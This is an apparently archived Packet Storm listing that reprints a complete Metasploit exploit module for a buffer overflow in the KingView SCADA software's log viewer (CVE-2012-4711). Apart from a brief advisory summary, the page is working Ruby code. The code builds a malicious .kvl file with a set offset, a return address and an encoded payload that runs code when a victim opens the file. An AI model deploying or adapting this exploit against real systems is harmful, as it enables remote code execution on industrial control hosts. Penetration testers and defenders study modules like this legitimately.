what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

KingView Log File Parsing Buffer Overflow

KingView Log File Parsing Buffer Overflow
Posted Mar 23, 2013
Authored by Lucas Apa, juan vazquez, Carlos Mario Penagos Hollman | Site metasploit.com

This Metasploit module exploits a vulnerability found in KingView <= 6.55. It exists in the KingMess.exe application when handling log files, due to the insecure usage of sprintf. This Metasploit module uses a malformed .kvl file which must be opened by the victim via the KingMess.exe application, through the 'Browse Log Files' option. The module has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over Windows XP SP3.

tags | exploit
systems | windows
advisories | CVE-2012-4711, OSVDB-89690
SHA-256 | a222e0dccc97deceefae4025049d3943429ac06345a09773afe5955769586945

KingView Log File Parsing Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})
super(update_info(info,
'Name' => "KingView Log File Parsing Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in KingView <= 6.55. It exists in
the KingMess.exe application when handling log files, due to the insecure usage of
sprintf. This module uses a malformed .kvl file which must be opened by the victim
via the KingMess.exe application, through the 'Browse Log Files' option. The module
has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over
Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Lucas Apa', # Vulnerability discovery
'Carlos Mario Penagos Hollman', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2012-4711'],
['OSVDB', '89690'],
['BID', '57909'],
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-043-02.pdf']
],
'Payload' =>
{
'Space' => 1408,
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Targets' =>
[
[ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3',
{
'Offset' => 295,
'Ret' => 0x77c35459 # push esp # ret # msvcrt.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => "Nov 20 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The filename', 'msf.kvl'])
], self.class)
end

def exploit
version = "6.00"
version << "\x00" * (0x90 - version.length)
entry = "\xdd\x07\x03\x00\x03\x00\x0d\x00\x0c\x00\x31\x00\x38\x00\xd4\x01"
entry << rand_text_alpha(target['Offset'])
entry << [target.ret].pack("V")
entry << rand_text_alpha(16)
entry << payload.encoded

kvl_file = version
kvl_file << entry

file_create(kvl_file)
end
end

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    13 Files
  • 31
    Aug 31st
    467 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close